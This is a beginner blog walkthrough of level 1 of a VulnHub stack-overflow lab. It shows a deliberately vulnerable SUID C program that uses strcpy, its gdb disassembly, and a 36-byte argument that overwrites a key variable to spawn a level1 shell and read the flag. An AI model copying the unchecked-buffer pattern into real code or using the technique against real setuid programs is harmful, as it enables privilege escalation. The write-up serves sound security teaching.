In this post, we’ll explore the fundamentals of exploiting stack-based buffer overflows using the “Stack Overflows for Beginners: 1.0.1” challenges from VulnHub. We’ll walk through analyzing the source code, understanding how memory works, and using tools like gdb
to manipulate program execution — all without needing advanced knowledge.
These challenges are great for learning stack-based buffer overflows, especially if you’re just starting out in binary exploitation or exploit development.
This walkthrough is part of my beginner-level training series, “Linux Usermode Exploitation 101,” created to help newcomers build a solid foundation in Linux-based exploit development and security research.
About the Challenges
This is a series of levels created to help people learn and practice stack overflow vulnerabilities. The challenges were originally developed for the Sheffield University Ethical Hacking Society.
You start at level 0, and your goal is to exploit a vulnerable binary to get the flag for the next user (e.g. level1). When you succeed, you get that user’s password from their flag file, which lets you switch users and move on to the next level.
Main Goals
There are five flags to collect, each in the home directory of the next user:
/home/level1/level1.txt
/home/level2/level2.txt
/home/level3/level3.txt
/home/level4/level4.txt
/root/root.txt
Each file contains the password for that user.
So for example:
- If you are currently level0, your goal is to read
/home/level1/level1.txt
. - After you get the flag, you can switch users using
su level1
and continue to the next challenge.
Level 1 Objectives
- Learn how to identify vulnerable code patterns through static code analysis
- Use
gdb
to perform basic disassembly of a binary
- Understand the structure of a C program and how function calls work at the assembly level
- Practice manipulating control flow by modifying variable values at runtime
- Lay the groundwork for later stages by getting comfortable with stack inspection and program state manipulation
Static Analysis
We are given the source code file levelOne.c
and the compiled binary levelOne
.
First, let’s check the binary details using the file
command:
$ file levelOne | tr ',' '\n'
levelOne: setuid
setgid ELF 32-bit LSB pie executable
Intel 80386
version 1 (SYSV)
dynamically linked
interpreter /lib/ld-linux.so.2
for GNU/Linux 3.2.0
BuildID[sha1]=c7f79d9aa9e2ae354f484314499aaa4b48035c3a
not stripped
Now, let’s list the file with detailed permissions:
$ ls -ltra levelOne
-rwsr-sr-x 1 level1 level1 15640 Jun 8 2019 levelOne
What this tells us
- The binary is a 32-bit ELF executable for Intel i386 architecture
- It is dynamically linked and uses position-independent execution (PIE)
- The binary is not stripped, so symbols are still present — useful for reverse engineering
- Most importantly, it has the SUID bit set (
-rwsr-sr-x
), and it is owned bylevel1
This means:
When we run this binary as a regular user (e.g.
level0
), it will execute withlevel1
‘s privileges. This is exactly what we need to escalate to the next level.
We’ll take advantage of this SUID binary during a buffer overflow attack and get the flag for level1
.
Reviewing the Source Code
Let’s take a quick look at the source code of the levelOne
binary:
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char **argv) {
uid_t uid = geteuid();
setresuid(uid, uid, uid);
long key = 0x12345678;
char buf[32];
strcpy(buf, argv[1]);
printf("Buf is: %s\n", buf);
printf("Key is: 0x%08x\n", key);
if(key == 0x42424242) {
execve("/bin/sh", 0, 0);
}
else {
printf("%s\n", "Sorry try again...");
}
return 0;
}
The program starts by setting its user ID to the effective user ID using setresuid()
. This allows the program to run with level1’s privileges (because of the SUID bit). A variable key
is set to a fixed value: 0x12345678
. Then it defines a buffer of 32 bytes: char buf[32];
The program copies the user’s input (from argv[1]
) into buf
using strcpy()
. It prints the contents of buf
and the current value of key
. Next, it checks:
if (key == 0x42424242)
If the value of key
can be changed to 0x42424242
, it executes a shell using: execve("/bin/sh", 0, 0);
The main vulnerability here is in the use of the strcpy()
function. This function does not check the length of the input, so if the user provides more than 32 bytes, it will overflow the buf
array and overwrite the next variable on the stack — which in this case is key
.
If we manage to overwrite the key
variable with the value 0x42424242
by overflowing the buffer, the condition in the if
statement becomes true, and we get a shell as the level1
user.
Now that we know our goal — to overwrite the key
variable and execute a shell — let’s look at how this works in the assembly.
In the disassembled code below, you can see where the comparison happens:
0x0000126c <+131>: add esp,0x10
0x0000126f <+134>: cmp DWORD PTR [ebp-0x20],0x42424242
0x00001276 <+141>: jne 0x1290 <main+167>
0x00001278 <+143>: sub esp,0x4
0x0000127b <+146>: push 0x0
0x0000127d <+148>: push 0x0
0x0000127f <+150>: lea eax,[ebx-0x1fdc]
0x00001285 <+156>: push eax
0x00001286 <+157>: call 0x1090 <execve@plt>
0x0000128b <+162>: add esp,0x10
As shown above, the value of the variable key
(located at [ebp-0x20]
) is compared to 0x42424242
. If the value matches, the program continues and executes /bin/sh
.
We also know that the buffer buf
is located at [ebp-0x40]
and is 32 bytes in size. Since key
is placed right after the buffer on the stack, writing 32 bytes fills the buffer, and writing 4 more bytes will overwrite the key
variable.
This works because during the function prologue, the base pointer (ebp
) is set to the current stack pointer (esp
), and local variables are placed at negative offsets from ebp
.
Exploiting the Program
To test this, we can give the program a 36-byte input:
$ ./levelOne $(python3 -c "print('B' * 36)")
Buf is: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Key is: 0x42424242
The key
value has been successfully overwritten. As a result, the condition becomes true and the program gives us a shell with level1
privileges:
$ whoami
level1
Now we can read the next flag:
$ cd /home/level1
$ ls
level1.txt levelTwo
$ cat level1.txt
[REDACTED]
We now have the password for level1 and have successfully completed the first challenge. In the next post, I will continue with the level1 challenge, where we will explore a new binary and learn new techniques to find the next flag.